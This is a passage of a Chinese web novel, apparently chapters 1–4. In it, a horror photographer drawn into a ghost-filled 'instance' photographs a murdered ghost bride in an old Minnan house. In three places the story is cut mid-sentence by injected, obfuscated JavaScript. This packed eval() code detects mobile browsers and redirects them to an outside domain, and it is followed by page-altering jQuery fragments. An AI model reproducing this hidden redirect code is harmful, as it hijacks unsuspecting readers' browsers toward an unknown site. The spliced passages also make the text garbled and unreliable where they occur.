《爱拍照有什么错?[无限]》 1. 古厝诡婚1 齐檎丹现在很烦躁。 非常烦躁。 不是因为被莫名其妙地拉进这个空间,也不是因为身边环绕着的无数块光屏,更不是因为头顶上那只巨大的血红色眼睛…… 她所有的烦躁与气闷,都源于同一个原因—— 她拍不了照了! 按照原定的拍摄计划,齐檎丹现在本应该抵达了她选定好的拍摄地点,搭建完布景,准备好灯阵,只待跟她约了这场拍摄的客人一到,就能够开始一场酣畅淋漓的拍摄。 而不是被困在这个乌漆嘛黑的空间里,被一只大到足以遮挡住天空的眼睛盯着,什么也做不了。 天杀的!她为了这场拍摄,准备了一个多月啊! 齐檎丹斜睨着巨眼,脸色阴沉得吓人: “有话快说,有屁快放。” 她的右手按在腰间的相机上。镁合金的机身外壳入手微微发凉,仿佛某种无声的安慰。尽管,这种安慰近乎于无。 毕竟一没场景,二没灯光,三没拍摄对象,即便再好的相机,也只是个漂亮废物。 一无是处。 【进入副本倒计时:5:00】 血色的倒计时,在下一刻弹了出来。与此一并响起的,还有巨眼低沉嘶哑的威胁:“五分钟结束后,你将被投放进副本,彻底沦为鬼怪的食物。跟我们考察系统签订合约,否则,你就会像他们一样。” 巨眼分明动也未动,围绕在齐檎丹周身的光屏却一瞬间拉近,扩大到原来的数倍,确保齐檎丹可以清清楚楚地看见,屏幕上播放的血腥视频—— 恶鬼的利爪锋利如刀,轻而易举地撕裂开人类的皮肤血肉,扯下四肢。 视频里的哭嚎惨叫不绝于耳。 万分凄厉可怖。 【进入副本倒计时:3:00】 两分钟过去了,光屏上的血浆仍在飞溅,红光时不时映在齐檎丹的遮阳帽上,渲染成一种怪异的色彩。齐檎丹却好像整个人吓呆了一样,定定地站在原地。 巨眼居高临下,充满恶意地俯瞰着齐檎丹,看到她的右手食指开始不正常地颤栗。 颤抖吧,哭泣吧,绝望吧。 不顾一切地向我求饶,答应签订这份契约。 巨眼耐心地等待着。它的恐吓从无败绩,被这样恫吓过的人,无一例外地选择了屈服。无论那些人来时有多傲气,最后都像筛糠一样哆嗦着双膝,流了满地的鼻涕眼泪。 巨眼不觉得,齐檎丹会是这个例外。 【进入副本倒计时:2:00】 又过了一分钟。 终于,齐檎丹从视频中回过神:“这真是,太……” 太恐怖?太血腥?巨眼猜测着齐檎丹的下半句话,禁不住沾沾自喜。然而,但凡它能够隔着齐檎丹压低的遮阳帽,窥见她帽檐底下藏着的那双眼,它就会立刻意识到,这个猜测,错得究竟有多么离谱。 从齐檎丹那双深茶色的瞳眸里,看不见丝毫惧色。 只有兴奋。 闪着光的兴奋。 “……太刺激了!”齐檎丹食指颤动的速度越来越急,越来越快。 可这颤动,并非因为恐惧。 而是她想按快门拍摄时的习惯性动作。 “我想请问,跟你们考察系统签约之后,还能进到这些副本里面吗?副本里面是真的有鬼吗?各种各样的鬼都有吗?”齐檎丹双眼放光,密集的问题犹如连珠炮。 天知道,她平时想要拍摄鬼怪题材的创作,有多不容易。作为一个摄影师,她不仅要自掏腰包请模特、买道具、约摄影棚,还得一连花好几个小时,来给模特化模仿鬼怪的特效妆。 但是,在所有副本里面—— 这些全部都有! 副本里的场景,是不用花时间搭建或者花钱租赁的真实布景。副本里的鬼怪,是不用花钱请的模特。 最重要的是,把鬼怪当模特意味着,她就不需要为了成片效果,费劲巴拉地给模特画特效妆了。而且最终呈现的照片效果更真实,更恐怖,更有张力,也更让人肾上腺素飙升。 这种感觉……太爽了! 天知道那些模仿鬼怪的特效妆,折磨了她多久。 砸重金去报班学习影视特效妆,每天练习到深更半夜就算了。为了达到更接近真实效果,齐檎丹不得不硬着头皮,把与尸体变化相关的书籍啃了下来。为了让特效妆的设计更精致、更吸引人,她平时还要特地留意,去了解妖神鬼怪的传说异闻…… 但现在,这些都不用了。一直以来困扰她的问题,终于可以结束了。 齐檎丹内心轻快。 说这是令人心惊胆战的鬼怪副本? 在她眼里,这分明就是她梦寐以求的免费摄影棚,摄影人的快乐老家! 巨眼看见了齐檎丹唇角逐渐扩大的笑容,它满心的骄傲自满,碎成了一地玻璃渣渣。 不是?这个人疯了吧? 别人都是哭着求着不想进副本,她倒好,跟别人完全反着来。 “不管签不签契约,有没有跟我们考察系统绑定,你都会进副本。但我们系统会为你提供一定的保障措施,让你能在副本里存活更长的时间。”巨眼耷拉下眼皮,非常人性化地演绎着自暴自弃: “就算这样,你还要跟我们签契约吗?” “签!马上签!” 齐檎丹不由分说地抢过笔。 笑话,这还用犹豫?能帮她在副本里活得更久,当然更好啦。她还要留着命拍摄呢。 【进入副本倒计时:1:00】 最后一分钟。 提前拟定的契约飘到齐檎丹面前,被她一把抓住。 倒计时的最后一秒,齐檎丹三下五除二拧开笔盖,当着巨眼的目光,在契约末端签下了自己的姓名。 名字的最后一个笔画完成,系统的契约自动生效。眩晕感骤然降临,灿烈的白光和强大的吸力一同袭来,拉扯着齐檎丹的身躯,往新开启的副本世界里坠去…… . 齐檎丹眼睛一闭一睁,人就已经到了一座古厝面前。 然而,齐檎丹还没来得及好好瞧瞧,这个副本里有什么适合拍照的好东西,她的视野先被接二连三跳出来的系统弹窗,给糊得严严实实。 【恭喜您,成功与“无限民俗考察团”系统签约,成为民俗考察团中的一员。】 这个弹窗最早弹出。 正好是契约生效的同时。 齐檎丹好奇地点开,在里面找到了详细的考察团介绍。 【“无限民俗考察团”致力于考察各地罕为人知的恐怖民俗,探索民俗背后的故事。考察过程中,考察员的个人直播间将全程开启,以便为更多人科普民俗知识。】 【考察员可通过完成任务、解锁剧情与直播打赏获取积分。积分可用于兑换剩余生存时长,或在系统商店中购买道具。】 系统商店里的道具,大概就是巨眼承诺过的,系统会给她提供的保障措施。 不过,买道具的积分居然要自己挣。 真是怎么看怎么坑。 齐檎丹“啧”了一声,深感自己的契约签得不太划算。但她不是很在意。毕竟,她来副本主要是为了拍照的,只要照片拍出来好看,就一切好说。 她只看结果。 【考察员信息已生成,请点击查收。】 【姓名:齐檎丹】 【考察员等级:E级(最低等级,请努力升级)】 【专属技能:待解锁(灰色)】 【道具:无】 【积分:0】 【个人直播间:已开启】 齐檎丹刚要把这些弹窗挨个关掉,却不慎点到了专属技能的“未解锁”三个字。下一秒,一道流光窜出弹窗,径直扎进了齐檎丹的相机里。 齐檎丹瞬间跟被踩了尾巴的猫一样,猛地跳了起来。 啊啊啊她的相机! 她视之如命的宝贝相机! 眼看着流光没入相机后,便诡异地消失不见,齐檎丹在心里发出惊天地泣鬼神的惨叫。她抱起她使用多年的相机,愤怒地质问系统:“你对我的相机都做了什么?!” 她齐檎丹头可破,血可流,但相机绝不能出问题。 【只是附加了您的专属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831143|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 技能。经检测,相机可以正常使用,您无需担心。】 仿佛为了证明这话的真实性,齐檎丹的考察员信息不仅及时更了新,她的相机上,也慢慢悠悠地飘起一段仅齐檎丹可见的小字。 只瞟一眼,齐檎丹就把脏话全部咽了回去。 【专属技能:照鬼相机(lv1)】 【技能简介:惊不惊喜,意不意外!你的相机不只能照到人,还能照到鬼。给鬼怪拍得越好看,照片复刻下来的鬼怪能力就越强噢!】 错怪系统了,这真是好东西。 甚直为她量身定做。 齐檎丹心满意足。她关掉这最后一个弹窗,点开已经在后台自动开启的个人直播间,把弹幕也设置成为隐藏。 至此,她眼前终于干干净净,再无遮挡。 能看清世界的感觉,真好啊。 齐檎丹抬眼向前。 只见,傍晚昏黑的天幕下,巍然耸立着一栋造型独特的红砖古厝。 雕梁画栋,恢宏富丽,檐牙翘角形同燕尾,极具代表性的红砖赤瓦烈烈有如火烧……最难能可贵的是,即便具备如此鲜艳的色彩,建筑主体也自带阴森逼人的氛围。不管是直接拍,还是作为写真的背景,都无比合适。 只不过瞧这一眼,齐檎丹就自动脑补了几十个构图。 她都不敢想,以这建筑的精细程度和逼真程度,这要是一个摄影棚,租赁一小时得花上多少价钱。 这副本,她真是来对了! 齐檎丹深吸一口气,勉强克制住举起相机拍摄的冲.动。因为她发现,这周围不止她一个人。而且聚集到这里的人,正变得越来越多。 齐檎丹估计,这些被陆续传送进副本里的人,也是签了契约的考察员。 因为他们的表情太镇定,太冷静。 完全不像第一次进入副本。 在这个副本里,大概只有她是第一次来的新人。 然而,这些人的平静并没能持续多久。不知出了什么变故,这一张张陌生的面孔刚出现在齐檎丹面前,又很快惊慌失措地分开。尖叫声响起的那一刻,齐檎丹看见人群后面,露出一张惨白冶艳的脸。 双唇猩红,嫁衣渗血,钗环散乱…… 活脱脱是个鬼新娘! 众人惊恐地四下逃窜,齐檎丹却在他们惊异的目光中,逆着人潮,镇定自若地朝那鬼新娘走上前去。 一步,接着一步。 坚定无比,毫不动摇。 堪称找死的举动,让齐檎丹的个人直播间转眼间炸了锅。 点进来的观众,一下子由最开始误入直播间的寥寥几个,飚上了人数的小高峰。直播间里的弹幕,更是一条条刷得飞快。 “受不了了,这个新人傻帽吧,见了鬼怪都不知道要躲的吗?这脑子,没救了!” “别装了,谁来新人直播间不是为了看死人的?100积分,我赌她第一个死。” “这不对吧?考察员都没到齐,副本都没正式开启呢,怎么就有鬼怪了?” “快作死!快作死!我要看血流成河!” 弹幕上骂得难听。 然而不同的话语里,却传达出一致的期待。期待着血肉飞溅的刺激场面,期待着齐檎丹的死亡。 终于,齐檎丹在距离鬼新娘仅有半步之遥的地方,停下了脚步。 一人一鬼,视线交汇。 空气恍如凝固。 弹幕不知何时停止了,直播前的观众不约而同地屏住呼吸。 然而,他们原以为的血腥场面没有发生。鬼新娘没有暴怒,更没有对眼前胆大妄为的新人暴起攻击,她只是多看了齐檎丹几眼,像是在努力确认着什么。 齐檎丹则率先弯起唇角,朝“鬼新娘”露出了一个无奈的微笑: “嗨,我的客人。你怎么也进来了?” 如果没有被意外拽进副本,这个“鬼新娘”,原本是齐檎丹今天拍摄的顾客。至于这个顾客脸上为什么会画着鬼妆,还穿着一看就很吓人的血嫁衣?哦,忘了说—— 她齐檎丹,专拍鬼怪题材。 越恐怖,她越喜欢。 2. 古厝诡婚2 直播间里的观众傻了,现场对“鬼新娘”避之不及的考察员也呆了。 现场鸦雀无声。 相比之下,位于两个话题中心的当事人,就显得平静多了。 扮成“鬼新娘”的顾客叫梁安颜,是梁氏集团的大小姐,一个名副其实的富婆姐姐。见到齐檎丹,她忍不住大吐苦水:“太倒霉了。你刚给我做完妆造,我就被拉进这个副本里来了。其他人一看到我就跑,我想解释都没地方解释。” 梁安颜唉声叹气,从包里翻出卸妆棉,准备卸掉引发误会的鬼妆,不想却被齐檎丹一把拦住。 “等一下,先别卸妆。”齐檎丹赶忙道。 梁安颜:“怎么了?” 突如其来的阻拦,让梁安颜心生忐忑。她紧张地看着,齐檎丹格外认真地将她从头到脚、仔仔细细地观察了一番,而后—— 欣赏地眯起眼睛,发出由衷的喟叹:“不愧是我亲手做的妆造,特别好看。不拍一张就浪费了。” 梁安颜:“……” 都进副本了,还想着拍照? 你对摄影是真爱啊! 更何况,这个能够把人活活吓死的鬼新娘妆造,真的好看吗? 也许拍出来是真的会好看,但现实显然没打算留给齐檎丹拍摄的时间。就在梁安颜满头问号的时候,所有考察员全数到齐,伴随着古厝大门被打开的“吱呀”声,鬼怪副本正式开启。 几乎是同一时刻,齐檎丹眼前弹出了这个副本的信息。 【副本名称:古厝诡婚】 【等级:C(困难)】 【(附)副本等级划分标准:A为简单级。B为普通级,副本数量最多。CDE同为困难级,难度依次递增。F为地狱级,地狱级副本尚无人通关。】 【背景:你们是民俗考察研学团的学生,在学院的组织下来到这里,进行对闽南婚俗的考察。】 【主线任务:考察闽南婚俗。】 副本的困难等级一出,直播间里一片哗然。 “困难等级为C极的副本?!我没看错吧?这难道不是一个纯新人的直播间吗?” “我去,这系统也太狠了。把一个新人丢进C级副本,她能活吗?更别说这副本里,还有一个高危角色身份,万一新人被匹配到高危角色,那她可就全完了。” “这么危险,她还不如自行了断,总比被鬼怪虐杀来得痛快。” “前面的别给她提供思路啊。要是她真这么做了,哪儿还有看头?你们说,对吧?” 齐檎丹没有理会弹幕。 她只低着头,专心阅读系统提示。 【该副本内,每个考察员分配到的初始生命剩余值,均为一小时。如有多余的积分,本系统将为您自动兑换生命剩余值。为了您的生命安全,请时刻注意您剩余的生存时间。】 齐檎丹看明白了,这玩意儿基本等同于游戏里的血条,血掉完了就一命呜呼。只是游戏输了可以重开,她这条命死在副本里,却不能再来一局。 刚从副本信息的界面上移开眼,齐檎丹便见古厝里,走出一个中年男人。 男人说话带着一点口音,显然是土生土长的本地人。 “我是负责带领你们,进行这次闽南婚俗考察的陈老师。”男人一上来,就自报家门,“这个地方叫做陈家村,而我背后的这座古厝里,住的是我们陈家村的村长——他同时也是我陈氏宗族的族长。明天,就是他将要举办婚礼。” 介绍完身后这间族长的古厝后,陈老师稍顿了一下:“我们陈家村的族长婚运不顺,娶的第一任夫人生性善妒,不到一年就因病去世,续弦娶的第二任夫人又不守妇道。所以族长对这次婚礼,非常重视。” 说着,他目光不动声色地扫视过考察团里的每一个人。只是这目光里,看不见老师对学生的关照和爱护。 只有贪婪,只有怪异。 比常人略大一些的瞳仁,挨个掠过每一个人,最后直勾勾地盯在仅有的三个女性考察员身上,从眼底透出诡异的灰白。 眼珠深处,贪婪而苛刻的神情。 像是在挑选冰柜里待价而沽的牲畜肉。 而非看人。 这样的目光,全然不是为人师表应该有的。齐檎丹越是细想,越觉得蹊跷。 陈老师传播村中婚礼的消息,组织学生前来考察,是不是故意为之?此外,他又为什么要特别留意考察团中的女性?他是想从考察团中挑选什么,非得要女性不可? “闽南的婚俗,大致分为议婚、订盟、纳采、迎嫁妆和迎娶五个部分。在这五部分里,迎娶是最后一个环节,也是意义最重大的……”陈老师若无其事地带领考察团往古厝里走,两眼却依旧时不时地往几个女生上瞟。 目光过处,人人闪躲。 进副本不止一次的老玩家,都深谙副本的德行。陈老师这么做的动机虽然尚不明晰,但有一点却十分确定——被他留意到的人,定然危险重重。 齐檎丹却在这时主动抬头。 不偏不倚地迎上陈老师灰白的眼瞳。 “你疯了吗?这很危险。”梁安颜惊诧地拽了一下她的衣袖,想让她重新低下头去。 但没拽动。 齐檎丹何尝不知,她在自寻死路? 可她故意为之。 比起死亡,比起危险,齐檎丹更担心没有值得拍的东西。 鬼怪的出现,必然意味着危险的降临,这是在副本世界里通用的定律。由此反推,只要陷入危险当中,就很可能见到鬼怪。以身犯险,对决心要拿鬼怪当模特的齐檎丹来说,无异于制造摄影机会。 如今这机会自己送上门来,她怎能放过? 陈老师的目光,果不其然地被齐檎丹所吸引。 他眼窝里那两颗死气沉沉的眼珠子,慢腾腾地转动起来,往齐檎丹的方向看去。 对视上的那一瞬间,齐檎丹后背过电般窜起一阵寒意。肾上腺素倏然飙升,感知危险的本能尖啸着发出警示。这恶心的目光,幻化成一条带有无数倒刺的长舌,仿佛要把她从肉.体到灵魂,都舔舐成一片鲜血淋漓的烂泥。 然后,拆吞入腹。 可齐檎丹没有挪动半步。陈老师凝视她,打量她,她便大大方方地凝视回去。 不仅脊梁骨挺得笔直,齐檎丹甚至胆大妄为地举起相机,对着陈老师“咔嚓”拍了一张照片。大概因为陈老师不算鬼怪,只能算作普通NPC,她并未触发技能“照鬼相机”的判定。 齐檎丹遗憾地“啧”了一声。 但她如愿以偿地,触发了NPC陈老师的怒意。 顷刻间,陈老师的瞳孔变得更大了,两颗眼珠在暴怒中凸出眼眶。浑浊的灰白颜色,像极了海边地上丢弃的死鱼眼睛。紧接着,齐檎丹的身份界面猛然弹了出来,疯狂颤动,泛起不正常的血红。 一串小字,从身份界面上浮现而出: 【被选中的新娘(高危)】 那“高危”两字颜色猩红,字体还做了特效,滴滴答答地往下淌血。那叫一个触目惊心。 齐檎丹还没来得及作出什么反应,她原本还长达一个小时的生命剩余时长,先好似受到了惊吓一般,以令人心悸的速度疯狂减少。50分钟,40分钟,30分钟…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831144|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >只不过短短两秒钟时间,齐檎丹的生命剩余值已经损失了一大半。 然而,这个数字还在继续跌着。 越跌越急,越跌越快。 一直跌到生命剩余值的时间条,只剩下可怜兮兮的一层皮,降低的趋势才堪堪停下。齐檎丹瞥了一眼,顿时挑起眉梢—— 哦豁,才剩10分钟。 只不过一个NPC,居然有这么大的威力,这倒是出乎她的预料了。 对摄影师来说,十分钟是什么概念?正常情况下,一次拍摄需要至少半个小时。现有的10分钟,连她平时拍摄时长的三分之一还不够。 更重要的是,截止目前,她连个鬼影都没见着。 这让她怎么拍摄? 怎么出片? 齐檎丹的个人考察直播间里,早已经洋溢起一片看热闹不嫌事大的欢乐气氛。 “哈哈哈哈哈让你对着NPC拍照,让你挑衅NPC,这回玩脱了吧?” “新人开局,困难副本,高危身份。这一波是必死局啊。” “大家看看热闹就散了吧。不是我说,10分钟时间太短,基本没可能创造奇迹。” 直播间里的嘻嘻哈哈还没结束,齐檎丹已在短短半秒之内冷静下来。十分钟的时间固然紧迫,却并不意味着毫无翻盘的可能,只要迈过这道坎,不愁没有更多时间拍摄鬼怪。这也是她敢激怒NPC的原因。 况且,系统在签订契约时承诺过,会为考察员提供保护,系统商店里肯定不缺延长生命剩余时间的道具。只不过,这些道具都要用积分来换。 积分是这里最紧俏的资源,更是唯一的硬通货。 要想活下来拍摄,她急需积分。 大量的积分。 已知获取积分的途径只有三条:完成任务、直播打赏和解锁剧情。 完成任务是不可能的,现在连第一条任务都没被刷新出来。因此,这条路被齐檎丹第一个排除了。而直播打赏更是不可取。且不说,新人直播间的观众数量一般比较少,讨好观众也不是她擅长的方面。 那么,她只剩下一条路了…… 齐檎丹轻哼一声,目光牢牢锁定在半透明的人物信息面板上。 这个面板自从方才弹出来之后,还没有被她关闭。面板前,齐檎丹伸出指腹,轻缓而危险地摩挲过“被选中的新娘”这几个小字。 既然是这些字,让她的生命剩余值严重缩水的,齐檎丹便利用它们作为突破口。 她向来最是记仇。 从这一行字足以看出,为婚礼挑选新娘,才是陈老师到门口迎接他们的核心目的。作为陈家人中的一个,陈老师对新娘的挑选,完美解释了为什么他在观察考察团成员时,会对男女区别对待。 毕竟众所周知,新娘指的一般是婚礼中的女性。 然而,吊诡的是—— 他们要考察的婚礼,分明就在明日。 直到这时候才开始挑选新娘,难道不是太晚了吗?还是说……所谓即将举办的闽南婚礼,都是为了把学生考察团骗进古厝里来,而编造出的谎话? 齐檎丹陡然抬眼,茶色的杏眼里锋芒锐利。 陈老师却对此视若无睹。 他细心叮嘱着明天的考察事宜,就像一个真正关照学生的带队老师一样:“我们此次考察的重点,是明天下午的迎娶环节。为了考察能够顺利进行,希望大家都能回去好好休息,族长已经为你们每个人准备好了房间。” 说到这里,陈老师面上挂着虚伪的假笑,往客房的方向缓缓抬起一只手臂: “考察团的各位同学,请吧。” 3. 古厝诡婚3 陈老师的嘴角往两边咧开,扯出僵硬的一弧。那微笑太过狰狞,不像是安排人去房间休息,倒像是请君入瓮。 还是一个烧得通红滚烫,能把人煮得皮开肉绽的大瓮。 【任务1:在古厝里平安度过一晚】 没过多久,进入副本的考察员们,便逐一被领去分配给他们的房间。 齐檎丹是最后一个离开的。她的房间,与其他客房的方向截然相反,而且藏在古厝的最深处,距离大门最远,也最偏僻。 越往古厝内里走,光线就越加寥落。与之相反,潮湿与阴冷则被滋养得嚣张,变本加厉地往人骨头缝里钻。当离房间门口还有几步距离的时候,带路的人已说什么都不肯靠近了。 “到……到了……”他上下牙打颤地说完这句话。 随后,扭头就跑。 此人来时挪动步子的速度慢慢吞吞,离开时却跑得飞快,跟逃命似的,转眼间消失得无影无踪,只把齐檎丹一人孤零零地丢在门前。 连房门钥匙,都只是往齐檎丹手里一塞了事。 行事态度极尽敷衍。 “真是的,这么没有服务精神的吗?”齐檎丹颠了颠手里的钥匙,嫌弃地在门上找到锁孔,将锁打开,希望尽快进屋取取暖。 怎料,房门才推开一条小缝,冷气就满溢而出,给齐檎丹冻得一哆嗦。 房里的冷意竟比屋外更甚。 明明还是暑热正盛的农历七月,怎么会这么冷?齐檎丹不由得紧了紧外套的领口。一边想着,她一边将门推得更开了些,做好了迎接严寒的准备。 但蛰伏在这个房间里的,显然不止冷意。 只在她撩起眼帘的那一刹那,齐檎丹便被扑面而来的红光,晃了满眼。墙壁、地面、桌椅、床榻……饱和度极高的殷红填满角落,充塞视线,在视野里肆无忌惮地流动、蔓延。 与此同时,齐檎丹嗅到一股极其浓烈的腥甜。她瞬间意识到—— 这红色恐怕不是颜料。 是血! 鲜活的,刚从人体里流出的,尚未凝固的人血。 正常情况下,一个人体内所含的血液,仅有4000至6000毫升。要把房间涂成这样,得死多少个人? 还没等齐檎丹想出个答案,血色遍布的卧室里,凭空响起女人断断续续的歌声。唱腔哀婉缠绵,间或夹杂着一两声哀哀啜泣:“天寿锣,短命锣。打得我心肝乱纷纷。脚白找不见,鞋子也找无,娘啊我不嫁……” 女人的歌声离得很近,仿佛只在咫尺。因而每一个唱词,入耳都格外清晰。 “滴答——” 有什么滴在齐檎丹后颈。 冰凉的,黏重的。 沿着颈部光滑的皮肤往下淌落,一整滴湿淋淋地滑进衣领里,直教人寒毛倒竖。 要是此刻有第三个人在场,一定会被眼前悚目惊心的场景,给吓得失声尖叫。就在齐檎丹身后,眼冒血泪的新娘哼着悲戚的歌谣,倒吊着从房梁垂下。她角膜浑浊,颜面肿胀,露出嫁衣外的皮肤上,布满成片可怖的淡红尸斑。 这新娘,赫然已经身亡多时! 可这个早早死去的新嫁娘,还在自顾自地边哭边唱。 “……做人媳妇真受气。离父母,别兄离嫂,离小弟。”新嫁娘每唱一句,就离齐檎丹更近一寸。到最后,那两片血红血红的薄唇,几乎紧贴在齐檎丹耳边,唇瓣张合时,吹拂出森冷的气息: “娘啊我不嫁。” 新嫁娘的歌声戛然而止。 霎时间,齐檎丹身上激起了一片鸡皮疙瘩。她抱起相机,以百米冲刺的速度瞬间窜出了—— 不到两米远。 然后,齐檎丹猛地回头,将相机设置成高速连拍模式。在看清新娘鬼的那一瞬,她的创作欲沸腾起来,并史无前例地冲上了顶峰。 多好的模特啊!不仅自带妆造,还会唱歌! 真是她的灵感缪斯! 齐檎丹喜出望外地对准新娘鬼,狂按快门:“抱歉啊,不能离你太近,否则我这个焦段的相机镜头对不上焦,拍不清你漂亮的脸。” 闻言,新娘鬼的动作,明显停顿了一下。 她大概想不通。怎么会有人胆大包天到如此程度,死到临头了,还敢试图给鬼怪拍照? 但这停顿,只持续了极短暂的一秒。 新娘鬼立刻哼起方才的调子,朝着相机后的齐檎丹扑了过去。 “来,头稍微侧一下,你脸的这个角度好看……”齐檎丹一边举着相机找角度,一边试图教女鬼摆动作,奈何女鬼只想着咬杀她,对她的动作指导置若罔闻。 这只鬼死状极惨,手脚尽被打断,从横梁上下来后,便只用白骨森森的手肘和膝盖抵着地面爬行。 说是爬,她的速度却很快。 不过须臾,身穿嫁衣的新娘鬼已如爬至面前,如一条沾满鲜血的赤色长蛇。 猎物唾手可得,新娘鬼嗤嗤地笑了起来。艳红的唇角向两侧拉开,她目标明确地裂开血口,一口咬向齐檎丹拿着相机的纤瘦手肘。 说时迟那时快,齐檎丹赶忙扯过身侧的长凳,往她大张的嘴里一送。 “咯嚓——” 满口尖牙咬上木凳。 坚实牢固的木凳瞬间断裂,被新娘鬼硬生生啃下一块,木屑纷纷而落。 好险。 齐檎丹心有余悸。 要是手腕真的被咬断了,她还怎么拿相机?怎么拍照? 【生命剩余值:3:00】 濒临耗尽的生命剩余值,让齐檎丹逐渐感到力不从心。她手脚乏力,心跳过速,却硬撑着跳上房间里的桌子,拿着相机从上往下拍摄——她在女鬼倒吊的时候仰拍了,在女鬼爬的时候平拍了。三大视角里,就差俯拍没有拍。 她想拍摄的时候,没人能拦得住她。 女鬼不行,就连她自己即将告罄的生命,也不行。 “乖女儿,别生气啊。”齐檎丹喘着粗气,额角的冷汗直往下砸,可她只俯身望向新娘鬼,信口胡诌地认了这个便宜女儿,隐在相机后面的眼角眉梢,笑意盈盈:“你不想嫁就不嫁。” 【生命剩余值:2:00】 可惜,齐檎丹的安慰对鬼无效。 新娘鬼一点没打算,对她这个刚认的“娘亲”手下留情。 尽管被废掉的四肢,限制了新娘鬼能达到的高度,但她对桌上的齐檎丹并非无计可施。见够不到桌上,新娘鬼便开始啃咬起桌子腿。 她牙齿锋利,硬木打造的桌子腿,对她来说就跟啃甘蔗一样轻松。 刚啃了没两口,桌腿便短了一截。 【生命剩余值:1:30】 但按照当前这个发展,齐檎丹的生命,可能比这一分三十秒还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831145|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短暂。 这样下去不是办法。 齐檎丹两眼一阵阵发黑,大脑却异常飞快地运转起来。除了构图的变化外,站在桌上的俯瞰视角,也让她注意到了更多的东西……比如,新娘鬼活动的轨迹。 新娘鬼爬行的时候走的不是直线,而是一条半弧。 倘若将这个半弧补全,能和墙体的直线形成一个半圆。无论是门口的房梁、被咬过的桌椅,还是新娘鬼走过的最远路径,都包含在这个半圆的范围以内。 也就是说—— 新娘鬼的行动是受限的。 就像被锁链拴住一样,对她起到限制作用的物品,一般位于半圆的圆心。 齐檎丹敏锐地意识到这件物品的重要性。然而,要拿到物品,意味着她需要冒险越过新娘鬼的行动范围,将自身置于险境。 【生命剩余值:1:00】 最后60秒倒计时。 桌面突然幅度极大地晃了一下,几乎将齐檎丹从桌上摔下去。 原来,女鬼已经啃断桌子的一条腿了。只需要她再啃一条,桌子的倾斜将成为无可阻挡的必然。而桌上的齐檎丹,也必将葬身鬼腹。 不能再等了。 齐檎丹当机立断,从桌子边缘往下跳。她一脚踩着新娘鬼的背部当踏板,另一脚则大步迈出,一举来到那个圆心附近。 她伸手按在墙上胡乱摸了一通,最终在雕花衣柜后方,摸到了一条墙缝。 墙缝又细又窄。 只容得下一根手指通过。 然而就在这条缝隙里,齐檎丹果然发现了东西! 【生命剩余值:00:30】 页面亮起红灯,危急地频繁闪烁。 恰在这时,被齐檎丹狠狠踩了一脚的新娘鬼,总算后知后觉地反应过来,发现了齐檎丹的位置变化。新娘鬼当即改变计划,舍弃嘴里啃咬的桌腿,再一次向齐檎丹扑去。 但齐檎丹的手指还卡在墙缝里,只能勾着里面那物件的一角,一点一点往外拖。这件事委实快不得。 血腥气离她越来越近了。 嫁衣鬼森然的利齿,距齐檎丹仅有一臂距离。 危机当前,齐檎丹面临着艰难的取舍。是以自身血肉,硬抗下这一口伤害?还是舍弃物品,趁机逃生?不断渗出的汗水打湿了后背,齐檎丹被夹在两个选项之间,左右为难。 【生命剩余值:00:15】 她作出了选择。 浩劫就在眼前,齐檎丹却迟迟未动。 她站定在原地,宛如一个定点的活靶子。新娘鬼的嘴巴则越张越大。惊人的咬合力下,新娘鬼那染满鲜血的牙齿,锋利得能媲美匕首,足以刺穿颈部至关重要的大动脉。 而这满口匕首,即将落下。 就在这个生死攸关的档口,齐檎丹猝然回头,直面恶鬼贴脸。 令人毛骨悚然的尖牙与血泪,皆近在眼前。可齐檎丹不仅没有丝毫惧怕,甚至大喇喇地弯下腰,径直往前一步。距离近得,几乎能撞到新娘鬼的鼻尖。 “乖女儿,你要不要看看,妈妈找到了什么?”齐檎丹勾动唇角,微微一笑,两指拿着那刚从墙缝里掏出来的物件,递到新娘鬼面前。 帽檐下,茶色瞳眸中似藏烈火。 燃烧得惊心动魄。 “你难道不觉得,这上面的人,跟你长得特别像吗?” 4. 古厝诡婚4 生命剩余值的倒计时停下了,凶险地停在了最后5秒。 新娘鬼茫然地睁大了眼睛。 即便血泪模糊了视线,新娘鬼依然凭借着足以媲美生前的视力,认出了齐檎丹手中的那个物品—— 一本记者证。 因为被藏在墙里太久,记者证被取出来后,上面仍然蒙着一层朦胧发白的墙灰。但是,这不妨碍新娘鬼看清,证件翻开后,中央印着的记者证件照。 证件照上,是一个二十出头的年轻女子。她微笑着,清秀的眉目间蕴着英气。 朝气蓬勃。 这记者的模样无疑是熟悉的。 不止齐檎丹熟悉,新娘鬼也熟悉。 